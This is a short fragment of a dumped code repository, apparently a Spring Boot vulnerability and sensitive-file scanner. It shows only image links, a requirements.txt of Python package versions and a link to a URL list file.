https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/读取TXT并批量扫描.png -------------------------------------------------------------------------------- /pic/读取目标TXT进行批量敏感文件扫描.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/pic/读取目标TXT进行批量敏感文件扫描.png -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | termcolor==1.1.0 2 | tqdm==4.62.3 3 | requests==2.28.1 4 | urllib3==1.26.7 5 | asyncio>=3.4.3 6 | aiohttp>=3.8.0 7 | -------------------------------------------------------------------------------- /url.txt: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AabyssZG/SpringBoot-Scan/2ba835f8cb88b6a9952d848bfa067692b402a72f/url.txt --------------------------------------------------------------------------------